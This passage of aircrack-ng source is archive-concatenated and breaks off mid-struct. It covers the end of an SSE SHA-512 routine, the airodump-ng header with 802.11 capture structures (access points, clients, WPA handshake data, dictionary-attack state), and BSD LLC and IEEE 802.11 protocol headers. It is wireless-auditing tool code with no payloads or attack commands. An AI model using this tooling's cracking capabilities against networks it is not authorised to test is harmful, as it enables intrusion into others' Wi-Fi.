f, 58, 0x84c87814a1f0ab72ULL); SHA512_STEP(f, g, h, a, b, c, d, e, 59, 0x8cc702081a6439ecULL); SHA512_STEP(e, f, g, h, a, b, c, d, 60, 0x90befffa23631e28ULL); SHA512_STEP(d, e, f, g, h, a, b, c, 61, 0xa4506cebde82bde9ULL); SHA512_STEP(c, d, e, f, g, h, a, b, 62, 0xbef9a3f7b2c67915ULL); SHA512_STEP(b, c, d, e, f, g, h, a, 63, 0xc67178f2e372532bULL); SHA512_STEP(a, b, c, d, e, f, g, h, 64, 0xca273eceea26619cULL); SHA512_STEP(h, a, b, c, d, e, f, g, 65, 0xd186b8c721c0c207ULL); SHA512_STEP(g, h, a, b, c, d, e, f, 66, 0xeada7dd6cde0eb1eULL); SHA512_STEP(f, g, h, a, b, c, d, e, 67, 0xf57d4f7fee6ed178ULL); SHA512_STEP(e, f, g, h, a, b, c, d, 68, 0x06f067aa72176fbaULL); SHA512_STEP(d, e, f, g, h, a, b, c, 69, 0x0a637dc5a2c898a6ULL); SHA512_STEP(c, d, e, f, g, h, a, b, 70, 0x113f9804bef90daeULL); SHA512_STEP(b, c, d, e, f, g, h, a, 71, 0x1b710b35131c471bULL); SHA512_STEP(a, b, c, d, e, f, g, h, 72, 0x28db77f523047d84ULL); SHA512_STEP(h, a, b, c, d, e, f, g, 73, 0x32caab7b40c72493ULL); SHA512_STEP(g, h, a, b, c, d, e, f, 74, 0x3c9ebe0a15c9bebcULL); SHA512_STEP(f, g, h, a, b, c, d, e, 75, 0x431d67c49c100d4cULL); SHA512_STEP(e, f, g, h, a, b, c, d, 76, 0x4cc5d4becb3e42b6ULL); SHA512_STEP(d, e, f, g, h, a, b, c, 77, 0x597f299cfc657e2aULL); SHA512_STEP(c, d, e, f, g, h, a, b, 78, 0x5fcb6fab3ad6faecULL); SHA512_STEP(b, c, d, e, f, g, h, a, 79, 0x6c44198c4a475817ULL); if (SSEi_flags & SSEi_RELOAD) { if ((SSEi_flags & SSEi_RELOAD_INP_FMT)==SSEi_RELOAD_INP_FMT) { i=0; // later if we do PARA, i will be used in the PARA_FOR loop //SHA512_PARA_DO(i) { a = _mm_add_epi64(a,_mm_load_si128((__m128i *)&reload_state[i*(16/2)*8+( 0/2)])); b = _mm_add_epi64(b,_mm_load_si128((__m128i *)&reload_state[i*(16/2)*8+( 4/2)])); c = _mm_add_epi64(c,_mm_load_si128((__m128i *)&reload_state[i*(16/2)*8+( 8/2)])); d = _mm_add_epi64(d,_mm_load_si128((__m128i *)&reload_state[i*(16/2)*8+(12/2)])); e = _mm_add_epi64(e,_mm_load_si128((__m128i *)&reload_state[i*(16/2)*8+(16/2)])); f = _mm_add_epi64(f,_mm_load_si128((__m128i *)&reload_state[i*(16/2)*8+(20/2)])); g = _mm_add_epi64(g,_mm_load_si128((__m128i *)&reload_state[i*(16/2)*8+(24/2)])); h = _mm_add_epi64(h,_mm_load_si128((__m128i *)&reload_state[i*(16/2)*8+(28/2)])); } } else { i=0; //SHA512_PARA_DO(i) { a = _mm_add_epi64(a,_mm_load_si128((__m128i *)&reload_state[i*(32/2)+( 0/2)])); b = _mm_add_epi64(b,_mm_load_si128((__m128i *)&reload_state[i*(32/2)+( 4/2)])); c = _mm_add_epi64(c,_mm_load_si128((__m128i *)&reload_state[i*(32/2)+( 8/2)])); d = _mm_add_epi64(d,_mm_load_si128((__m128i *)&reload_state[i*(32/2)+(12/2)])); e = _mm_add_epi64(e,_mm_load_si128((__m128i *)&reload_state[i*(32/2)+(16/2)])); f = _mm_add_epi64(f,_mm_load_si128((__m128i *)&reload_state[i*(32/2)+(20/2)])); g = _mm_add_epi64(g,_mm_load_si128((__m128i *)&reload_state[i*(32/2)+(24/2)])); h = _mm_add_epi64(h,_mm_load_si128((__m128i *)&reload_state[i*(32/2)+(28/2)])); } } } else if ((SSEi_flags & SSEi_SKIP_FINAL_ADD) == 0) { if (SSEi_flags & SSEi_CRYPT_SHA384) { /* SHA-384 IV */ a = _mm_add_epi64 (a, _mm_set1_epi64x (0xcbbb9d5dc1059ed8ULL)); b = _mm_add_epi64 (b, _mm_set1_epi64x (0x629a292a367cd507ULL)); c = _mm_add_epi64 (c, _mm_set1_epi64x (0x9159015a3070dd17ULL)); d = _mm_add_epi64 (d, _mm_set1_epi64x (0x152fecd8f70e5939ULL)); e = _mm_add_epi64 (e, _mm_set1_epi64x (0x67332667ffc00b31ULL)); f = _mm_add_epi64 (f, _mm_set1_epi64x (0x8eb44a8768581511ULL)); g = _mm_add_epi64 (g, _mm_set1_epi64x (0xdb0c2e0d64f98fa7ULL)); h = _mm_add_epi64 (h, _mm_set1_epi64x (0x47b5481dbefa4fa4ULL)); } else { /* SHA-512 IV */ a = _mm_add_epi64 (a, _mm_set1_epi64x (0x6a09e667f3bcc908ULL)); b = _mm_add_epi64 (b, _mm_set1_epi64x (0xbb67ae8584caa73bULL)); c = _mm_add_epi64 (c, _mm_set1_epi64x (0x3c6ef372fe94f82bULL)); d = _mm_add_epi64 (d, _mm_set1_epi64x (0xa54ff53a5f1d36f1ULL)); e = _mm_add_epi64 (e, _mm_set1_epi64x (0x510e527fade682d1ULL)); f = _mm_add_epi64 (f, _mm_set1_epi64x (0x9b05688c2b3e6c1fULL)); g = _mm_add_epi64 (g, _mm_set1_epi64x (0x1f83d9abfb41bd6bULL)); h = _mm_add_epi64 (h, _mm_set1_epi64x (0x5be0cd19137e2179ULL)); } } if (SSEi_flags & SSEi_SWAP_FINAL) { /* NOTE, if we swap OUT of BE into proper LE, then this can not be * used in a sha512_flags&SHA512_RELOAD manner, without swapping back into BE format. * NORMALLY, a format will switch binary values into BE format at start, and then * just take the 'normal' non swapped output of this function (i.e. keep it in BE) */ SWAP_ENDIAN64(a); SWAP_ENDIAN64(b); SWAP_ENDIAN64(c); SWAP_ENDIAN64(d); SWAP_ENDIAN64(e); SWAP_ENDIAN64(f); SWAP_ENDIAN64(g); SWAP_ENDIAN64(h); } /* We store the MMX_mixed values. This will be in proper 'mixed' format, in BE * format (i.e. correct to reload on a subsquent call), UNLESS, swapped in the prior * if statement (the SHA512_SWAP_FINAL) */ if (SSEi_flags & SSEi_OUTPUT_AS_INP_FMT) { i=0; //SHA512_PARA_DO(i) { _mm_store_si128((__m128i *)&out[i*(16/2)*8+( 0/2)], a); _mm_store_si128((__m128i *)&out[i*(16/2)*8+( 4/2)], b); _mm_store_si128((__m128i *)&out[i*(16/2)*8+( 8/2)], c); _mm_store_si128((__m128i *)&out[i*(16/2)*8+(12/2)], d); _mm_store_si128((__m128i *)&out[i*(16/2)*8+(16/2)], e); _mm_store_si128((__m128i *)&out[i*(16/2)*8+(20/2)], f); _mm_store_si128((__m128i *)&out[i*(16/2)*8+(24/2)], g); _mm_store_si128((__m128i *)&out[i*(16/2)*8+(28/2)], h); } } else { i=0; //SHA512_PARA_DO(i) { _mm_store_si128 ((__m128i *)&(out[i*(32/2)+( 0/2)]), a); _mm_store_si128 ((__m128i *)&(out[i*(32/2)+( 4/2)]), b); _mm_store_si128 ((__m128i *)&(out[i*(32/2)+( 8/2)]), c); _mm_store_si128 ((__m128i *)&(out[i*(32/2)+(12/2)]), d); _mm_store_si128 ((__m128i *)&(out[i*(32/2)+(16/2)]), e); _mm_store_si128 ((__m128i *)&(out[i*(32/2)+(20/2)]), f); _mm_store_si128 ((__m128i *)&(out[i*(32/2)+(24/2)]), g); _mm_store_si128 ((__m128i *)&(out[i*(32/2)+(28/2)]), h); } } } #endif aircrack-ng-1.2-rc4/src/airodump-ng.h0000644000000000000000000004160112506252637016115 0ustar rootroot/* * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and * NON-INFRINGEMENT. See the GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, * MA 02111-1307, USA. * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. If you * do not wish to do so, delete this exception statement from your * version. If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef _AIRODUMP_NG_H_ #define _AIRODUMP_NG_H_ #include "eapol.h" /* some constants */ #define REFRESH_RATE 100000 /* default delay in us between updates */ #define DEFAULT_HOPFREQ 250 /* default delay in ms between channel hopping */ #define DEFAULT_CWIDTH 20 /* 20 MHz channels by default */ #define NB_PWR 5 /* size of signal power ring buffer */ #define NB_PRB 10 /* size of probed ESSID ring buffer */ #define MAX_CARDS 8 /* maximum number of cards to capture from */ #define STD_OPN 0x0001 #define STD_WEP 0x0002 #define STD_WPA 0x0004 #define STD_WPA2 0x0008 #define STD_FIELD (STD_OPN | STD_WEP | STD_WPA | STD_WPA2) #define ENC_WEP 0x0010 #define ENC_TKIP 0x0020 #define ENC_WRAP 0x0040 #define ENC_CCMP 0x0080 #define ENC_WEP40 0x1000 #define ENC_WEP104 0x0100 #define ENC_FIELD (ENC_WEP | ENC_TKIP | ENC_WRAP | ENC_CCMP | ENC_WEP40 | ENC_WEP104) #define AUTH_OPN 0x0200 #define AUTH_PSK 0x0400 #define AUTH_MGT 0x0800 #define AUTH_FIELD (AUTH_OPN | AUTH_PSK | AUTH_MGT) #define STD_QOS 0x2000 #define QLT_TIME 5 #define QLT_COUNT 25 #define SORT_BY_NOTHING 0 #define SORT_BY_BSSID 1 #define SORT_BY_POWER 2 #define SORT_BY_BEACON 3 #define SORT_BY_DATA 4 #define SORT_BY_PRATE 5 #define SORT_BY_CHAN 6 #define SORT_BY_MBIT 7 #define SORT_BY_ENC 8 #define SORT_BY_CIPHER 9 #define SORT_BY_AUTH 10 #define SORT_BY_ESSID 11 #define MAX_SORT 11 #define TEXT_RESET 0 #define TEXT_BRIGHT 1 #define TEXT_DIM 2 #define TEXT_UNDERLINE 3 #define TEXT_BLINK 4 #define TEXT_REVERSE 7 #define TEXT_HIDDEN 8 #define TEXT_MAX_STYLE 8 #define TEXT_BLACK 0 #define TEXT_RED 1 #define TEXT_GREEN 2 #define TEXT_YELLOW 3 #define TEXT_BLUE 4 #define TEXT_MAGENTA 5 #define TEXT_CYAN 6 #define TEXT_WHITE 7 #define TEXT_MAX_COLOR 7 #define RATES \ "\x01\x04\x02\x04\x0B\x16\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C" #define PROBE_REQ \ "\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00" //milliseconds to store last packets #define BUFFER_TIME 3000 extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); extern unsigned char * getmac(char * macAddress, int strict, unsigned char * mac); extern int get_ram_size(void); char *get_manufacturer(unsigned char mac0, unsigned char mac1, unsigned char mac2); #define AIRODUMP_NG_CSV_EXT "csv" #define KISMET_CSV_EXT "kismet.csv" #define KISMET_NETXML_EXT "kismet.netxml" #define AIRODUMP_NG_GPS_EXT "gps" #define AIRODUMP_NG_CAP_EXT "cap" #define NB_EXTENSIONS 6 const unsigned char llcnull[4] = {0, 0, 0, 0}; char *f_ext[NB_EXTENSIONS] = { AIRODUMP_NG_CSV_EXT, AIRODUMP_NG_GPS_EXT, AIRODUMP_NG_CAP_EXT, IVS2_EXTENSION, KISMET_CSV_EXT, KISMET_NETXML_EXT }; extern const unsigned long int crc_tbl[256]; extern const unsigned char crc_chop_tbl[256][4]; static unsigned char ZERO[32] = "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00"; const char *OUI_PATHS[] = { "/etc/aircrack-ng/airodump-ng-oui.txt", "/usr/local/etc/aircrack-ng/airodump-ng-oui.txt", "/usr/share/aircrack-ng/airodump-ng-oui.txt", "/var/lib/misc/oui.txt", "/usr/share/misc/oui.txt", "/var/lib/ieee-data/oui.txt", "/usr/share/ieee-data/oui.txt", "/etc/manuf/oui.txt", "/usr/share/wireshark/wireshark/manuf/oui.txt", "/usr/share/wireshark/manuf/oui.txt", NULL }; #define MIN_RAM_SIZE_LOAD_OUI_RAM 32768 int read_pkts=0; int abg_chans [] = { 1, 7, 13, 2, 8, 3, 14, 9, 4, 10, 5, 11, 6, 12, 36, 40, 44, 48, 52, 56, 60, 64, 100, 104, 108, 112, 116, 120, 124, 128, 132, 136, 140, 149, 153, 157, 161, 184, 188, 192, 196, 200, 204, 208, 212, 216,0 }; int bg_chans [] = { 1, 7, 13, 2, 8, 3, 14, 9, 4, 10, 5, 11, 6, 12, 0 }; int a_chans [] = { 36, 40, 44, 48, 52, 56, 60, 64, 100, 104, 108, 112, 116, 120, 124, 128, 132, 136, 140, 149, 153, 157, 161, 184, 188, 192, 196, 200, 204, 208, 212, 216,0 }; int *frequencies; /* linked list of received packets for the last few seconds */ struct pkt_buf { struct pkt_buf *next; /* next packet in list */ unsigned char *packet; /* packet */ unsigned short length; /* packet length */ struct timeval ctime; /* capture time */ }; /* oui struct for list management */ struct oui { char id[9]; /* TODO: Don't use ASCII chars to compare, use unsigned char[3] (later) with the value (hex ascii will have to be converted) */ char manuf[128]; /* TODO: Switch to a char * later to improve memory usage */ struct oui *next; }; /* WPS_info struct */ struct WPS_info { unsigned char version; /* WPS Version */ unsigned char state; /* Current WPS state */ unsigned char ap_setup_locked; /* AP setup locked */ unsigned int meth; /* WPS Config Methods */ }; /* linked list of detected access points */ struct AP_info { struct AP_info *prev; /* prev. AP in list */ struct AP_info *next; /* next AP in list */ time_t tinit, tlast; /* first and last time seen */ int channel; /* AP radio channel */ int max_speed; /* AP maximum speed in Mb/s */ int avg_power; /* averaged signal power */ int best_power; /* best signal power */ int power_index; /* index in power ring buf. */ int power_lvl[NB_PWR]; /* signal power ring buffer */ int preamble; /* 0 = long, 1 = short */ int security; /* ENC_*, AUTH_*, STD_* */ int beacon_logged; /* We need 1 beacon per AP */ int dict_started; /* 1 if dict attack started */ int ssid_length; /* length of ssid */ float gps_loc_min[5]; /* min gps coordinates */ float gps_loc_max[5]; /* max gps coordinates */ float gps_loc_best[5]; /* best gps coordinates */ unsigned long nb_bcn; /* total number of beacons */ unsigned long nb_pkt; /* total number of packets */ unsigned long nb_data; /* number of data packets */ unsigned long nb_data_old;/* number of data packets/sec*/ int nb_dataps; /* number of data packets/sec*/ struct timeval tv; /* time for data per second */ unsigned char bssid[6]; /* the access point's MAC */ char *manuf; /* the access point's manufacturer */ unsigned char essid[MAX_IE_ELEMENT_SIZE]; /* ascii network identifier */ unsigned long long timestamp; /* Timestamp to calculate uptime */ unsigned char lanip[4]; /* last detected ip address */ /* if non-encrypted network */ unsigned char **uiv_root; /* unique iv root structure */ /* if wep-encrypted network */ int rx_quality; /* percent of captured beacons */ int fcapt; /* amount of captured frames */ int fmiss; /* amount of missed frames */ unsigned int last_seq; /* last sequence number */ struct timeval ftimef; /* time of first frame */ struct timeval ftimel; /* time of last frame */ struct timeval ftimer; /* time of restart */ char *key; /* if wep-key found by dict */ int essid_stored; /* essid stored in ivs file? */ char decloak_detect; /* run decloak detection? */ struct pkt_buf *packets; /* list of captured packets (last few seconds) */ char is_decloak; /* detected decloak */ // This feature eats 48Mb per AP int EAP_detected; unsigned char *data_root; /* first 2 bytes of data if */ /* WEP network; used for */ /* detecting WEP cloak */ /* + one byte to indicate */ /* (in)existence of the IV */ int marked; int marked_color; struct WPS_info wps; }; /* linked list of detected clients */ struct ST_info { struct ST_info *prev; /* the prev client in list */ struct ST_info *next; /* the next client in list */ struct AP_info *base; /* AP this client belongs to */ time_t tinit, tlast; /* first and last time seen */ unsigned long nb_pkt; /* total number of packets */ unsigned char stmac[6]; /* the client's MAC address */ char *manuf; /* the client's manufacturer */ int probe_index; /* probed ESSIDs ring index */ char probes[NB_PRB][MAX_IE_ELEMENT_SIZE]; /* probed ESSIDs ring buffer */ int ssid_length[NB_PRB]; /* ssid lengths ring buffer */ int power; /* last signal power */ int rate_to; /* last bitrate to station */ int rate_from; /* last bitrate from station */ struct timeval ftimer; /* time of restart */ int missed; /* number of missed packets */ unsigned int lastseq; /* last seen sequence number */ struct WPA_hdsk wpa; /* WPA handshake data */ int qos_to_ds; /* does it use 802.11e to ds */ int qos_fr_ds; /* does it receive 802.11e */ int channel; /* Channel station is seen */ /* Not used yet */ }; /* linked list of detected macs through ack, cts or rts frames */ struct NA_info { struct NA_info *prev; /* the prev client in list */ struct NA_info *next; /* the next client in list */ time_t tinit, tlast; /* first and last time seen */ unsigned char namac[6]; /* the stations MAC address */ int power; /* last signal power */ int channel; /* captured on channel */ int ack; /* number of ACK frames */ int ack_old; /* old number of ACK frames */ int ackps; /* number of ACK frames/s */ int cts; /* number of CTS frames */ int rts_r; /* number of RTS frames (rx) */ int rts_t; /* number of RTS frames (tx) */ int other; /* number of other frames */ struct timeval tv; /* time for ack per second */ }; /* bunch of global stuff */ struct globals { struct AP_info *ap_1st, *ap_end; struct ST_info *st_1st, *st_end; struct NA_info *na_1st, *na_end; struct oui *manufList; unsigned char prev_bssid[6]; unsigned char f_bssid[6]; unsigned char f_netmask[6]; char **f_essid; int f_essid_count; #ifdef HAVE_PCRE pcre *f_essid_regex; #endif char *dump_prefix; char *keyout; char *f_cap_name; int f_index; /* outfiles index */ FILE *f_txt; /* output csv file */ FILE *f_kis; /* output kismet csv file */ FILE *f_kis_xml; /* output kismet netxml file */ FILE *f_gps; /* output gps file */ FILE *f_cap; /* output cap file */ FILE *f_ivs; /* output ivs file */ FILE *f_xor; /* output prga file */ char * batt; /* Battery string */ int channel[MAX_CARDS]; /* current channel # */ int frequency[MAX_CARDS]; /* current frequency # */ int ch_pipe[2]; /* current channel pipe */ int cd_pipe[2]; /* current card pipe */ int gc_pipe[2]; /* gps coordinates pipe */ float gps_loc[5]; /* gps coordinates */ int save_gps; /* keep gps file flag */ int usegpsd; /* do we use GPSd? */ int *channels; // int *frequencies; int singlechan; /* channel hopping set 1*/ int singlefreq; /* frequency hopping: 1 */ int chswitch; /* switching method */ int f_encrypt; /* encryption filter */ int update_s; /* update delay in sec */ int is_wlanng[MAX_CARDS]; /* set if wlan-ng */ int is_orinoco[MAX_CARDS]; /* set if orinoco */ int is_madwifing[MAX_CARDS]; /* set if madwifi-ng */ int is_zd1211rw[MAX_CARDS]; /* set if zd1211rw */ volatile int do_exit; /* interrupt flag */ struct winsize ws; /* console window size */ char * elapsed_time; /* capture time */ int one_beacon; /* Record only 1 beacon?*/ unsigned char sharedkey[3][4096]; /* array for 3 packets with a size of \ up to 4096Byte */ time_t sk_start; char *prefix; int sk_len; int sk_len2; int * own_channels; /* custom channel list */ int * own_frequencies; /* custom frequency list */ int record_data; /* do we record data? */ int asso_client; /* only show associated clients */ char * iwpriv; char * iwconfig; char * wlanctlng; char * wl; unsigned char wpa_bssid[6]; /* the wpa handshake bssid */ char message[512]; char decloak; char is_berlin; /* is the switch --berlin set? */ int numaps; /* number of APs on the current list */ int maxnumaps; /* maximum nubers of APs on the list */ int maxaps; /* number of all APs found */ int berlin; /* number of seconds it takes in berlin to fill the whole screen with APs*/ /* * The name for this option may look quite strange, here is the story behind it: * During the CCC2007, 10 august 2007, we (hirte, Mister_X) went to visit Berlin * and couldn't resist to turn on airodump-ng to see how much access point we can * get during the trip from Finowfurt to Berlin. When we were in Berlin, the number * of AP increase really fast, so fast that it couldn't fit in a screen, even rotated; * the list was really huge (we have a picture of that). The 2 minutes timeout * (if the last packet seen is higher than 2 minutes, the AP isn't shown anymore) * wasn't enough, so we decided to create a new option to change that timeout. * We implemented this option in the highest tower (TV Tower) of Berlin, eating an ice. */ int show_ap; int show_sta; int show_ack; int hide_known; int hopfreq; char* s_file; /* source file to read packets */ char* s_iface; /* source interface to read from */ FILE *f_cap_in; struct pcap_file_header pfh_in; int detect_anomaly; /* Detect WIPS protecting WEP in action */ char *freqstring; int freqoption; int chanoption; int active_scan_sim; /* simulates an active scan, sending probe requests */ /* Airodump-ng start time: for kismet netxml file */ char * airodump_start_time; int output_format_pcap; int output_format_csv; int output_format_kismet_csv; int output_format_kismet_netxml; pthread_t input_tid; int sort_by; int sort_inv; int start_print_ap; int start_print_sta; int selected_ap; int selected_sta; int selection_ap; int selection_sta; int mark_cur_ap; int num_cards; int skip_columns; int do_pause; int do_sort_always; pthread_mutex_t mx_print; /* lock write access to ap LL */ pthread_mutex_t mx_sort; /* lock write access to ap LL */ unsigned char selected_bssid[6]; /* bssid that is selected */ int ignore_negative_one; u_int maxsize_essid_seen; int show_manufacturer; int show_uptime; int file_write_interval; u_int maxsize_wps_seen; int show_wps; } G; #endif aircrack-ng-1.2-rc4/src/include/0000755000000000000000000000000012660222375015140 5ustar rootrootaircrack-ng-1.2-rc4/src/include/if_llc.h0000644000000000000000000001132512426041301016527 0ustar rootroot/* $NetBSD: if_llc.h,v 1.21 2014/09/05 05:32:07 matt Exp $ */ /* * Copyright (c) 1988, 1993 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * @(#)if_llc.h 8.1 (Berkeley) 6/10/93 */ #ifndef _NET_IF_LLC_H_ #define _NET_IF_LLC_H_ /* * IEEE 802.2 Link Level Control headers, for use in conjunction with * 802.{3,4,5} media access control methods. * * Headers here do not use bit fields due to shortcommings in many * compilers. */ struct llc { uint8_t llc_dsap; uint8_t llc_ssap; union { struct { uint8_t control; uint8_t format_id; uint8_t class_u; uint8_t window_x2; } type_u /* XXX __packed ??? */; struct { uint8_t num_snd_x2; uint8_t num_rcv_x2; } type_i /* XXX __packed ??? */; struct { uint8_t control; uint8_t num_rcv_x2; } type_s /* XXX __packed ??? */; struct { uint8_t control; /* * We cannot put the following fields in a structure because * the structure rounding might cause padding. */ uint8_t frmr_rej_pdu0; uint8_t frmr_rej_pdu1; uint8_t frmr_control; uint8_t frmr_control_ext; uint8_t frmr_cause; } type_frmr /* XXX __packed ??? */; struct { uint8_t control; uint8_t org_code[3]; uint16_t ether_type; } type_snap __packed; struct { uint8_t control; uint8_t control_ext; } type_raw /* XXX __packed ??? */; } llc_un /* XXX __packed ??? */; } __packed; struct frmrinfo { uint8_t frmr_rej_pdu0; uint8_t frmr_rej_pdu1; uint8_t frmr_control; uint8_t frmr_control_ext; uint8_t frmr_cause; } __packed; #define llc_control llc_un.type_u.control #define llc_control_ext llc_un.type_raw.control_ext #define llc_fid llc_un.type_u.format_id #define llc_class llc_un.type_u.class_u #define llc_window llc_un.type_u.window_x2 #define llc_frmrinfo llc_un.type_frmr.frmr_rej_pdu0 #define llc_frmr_pdu0 llc_un.type_frmr.frmr_rej_pdu0 #define llc_frmr_pdu1 llc_un.type_frmr.frmr_rej_pdu1 #define llc_frmr_control llc_un.type_frmr.frmr_control #define llc_frmr_control_ext llc_un.type_frmr.frmr_control_ext #define llc_frmr_cause llc_un.type_frmr.frmr_cause #define llc_snap llc_un.type_snap /* * Don't use sizeof(struct llc_un) for LLC header sizes */ #define LLC_ISFRAMELEN 4 #define LLC_UFRAMELEN 3 #define LLC_FRMRLEN 7 #define LLC_SNAPFRAMELEN 8 /* * Unnumbered LLC format commands */ #define LLC_UI 0x3 #define LLC_UI_P 0x13 #define LLC_DISC 0x43 #define LLC_DISC_P 0x53 #define LLC_UA 0x63 #define LLC_UA_P 0x73 #define LLC_TEST 0xe3 #define LLC_TEST_P 0xf3 #define LLC_FRMR 0x87 #define LLC_FRMR_P 0x97 #define LLC_DM 0x0f #define LLC_DM_P 0x1f #define LLC_XID 0xaf #define LLC_XID_P 0xbf #define LLC_SABME 0x6f #define LLC_SABME_P 0x7f /* * Supervisory LLC commands */ #define LLC_RR 0x01 #define LLC_RNR 0x05 #define LLC_REJ 0x09 /* * Info format - dummy only */ #define LLC_INFO 0x00 /* * ISO PDTR 10178 contains among others */ #define LLC_8021D_LSAP 0x42 #define LLC_X25_LSAP 0x7e #define LLC_SNAP_LSAP 0xaa #define LLC_ISO_LSAP 0xfe /* * LLC XID definitions from 802.2, as needed */ #define LLC_XID_FORMAT_BASIC 0x81 #define LLC_XID_BASIC_MINLEN (LLC_UFRAMELEN + 3) #define LLC_XID_CLASS_I 0x1 #define LLC_XID_CLASS_II 0x3 #define LLC_XID_CLASS_III 0x5 #define LLC_XID_CLASS_IV 0x7 #endif /* !_NET_IF_LLC_H_ */ aircrack-ng-1.2-rc4/src/include/ieee80211.h0000644000000000000000000005344712426041352016623 0ustar rootroot/* $NetBSD: ieee80211.h,v 1.26 2013/03/30 14:14:31 christos Exp $ */ /*- * Copyright (c) 2001 Atsushi Onoe * Copyright (c) 2002-2005 Sam Leffler, Errno Consulting * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * Alternatively, this software may be distributed under the terms of the * GNU General Public License ("GPL") version 2 as published by the Free * Software Foundation. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * $FreeBSD: src/sys/net80211/ieee80211.h,v 1.10 2005/07/22 16:55:27 sam Exp $ */ #ifndef _NET80211_IEEE80211_H_ #define _NET80211_IEEE80211_H_ /* * 802.11 protocol definitions. */ #define IEEE80211_ADDR_LEN 6 /* size of 802.11 address */ /* is 802.11 address multicast/broadcast? */ #define IEEE80211_IS_MULTICAST(_a) (*(_a) & 0x01) /* IEEE 802.11 PLCP header */ struct ieee80211_plcp_hdr { u_int16_t i_sfd; u_int8_t i_signal; u_int8_t i_service; u_int16_t i_length; u_int16_t i_crc; } __packed; #define IEEE80211_PLCP_SFD 0xF3A0 #define IEEE80211_PLCP_SERVICE 0x00 /* * generic definitions for IEEE 802.11 frames */ struct ieee80211_frame { u_int8_t i_fc[2]; u_int8_t i_dur[2]; u_int8_t i_addr1[IEEE80211_ADDR_LEN]; u_int8_t i_addr2[IEEE80211_ADDR_LEN]; u_int8_t i_addr3[IEEE80211_ADDR_LEN]; u_int8_t i_seq[2]; /* possibly followed by addr4[IEEE80211_ADDR_LEN]; */ /* see below */ } __packed; struct ieee80211_qosframe { u_int8_t i_fc[2]; u_int8_t i_dur[2]; u_int8_t i_addr1[IEEE80211_ADDR_LEN]; u_int8_t i_addr2[IEEE80211_ADDR_LEN]; u_int8_t i_addr3[IEEE80211_ADDR_LEN]; u_int8_t i_seq[2]; u_int8_t i_qos[2]; /* possibly followed by addr4[IEEE80211_ADDR_LEN]; */ /* see below */ } __packed; struct ieee80211_qoscntl { u_int8_t i_qos[2]; }; struct ieee80211_frame_addr4 { u_int8_t i_fc[2]; u_int8_t i_dur[2]; u_int8_t i_addr1[IEEE80211_ADDR_LEN]; u_int8_t i_addr2[IEEE80211_ADDR_LEN]; u_int8_t i_addr3[IEEE80211_ADDR_LEN]; u_int8_t i_seq[2]; u_int8_t 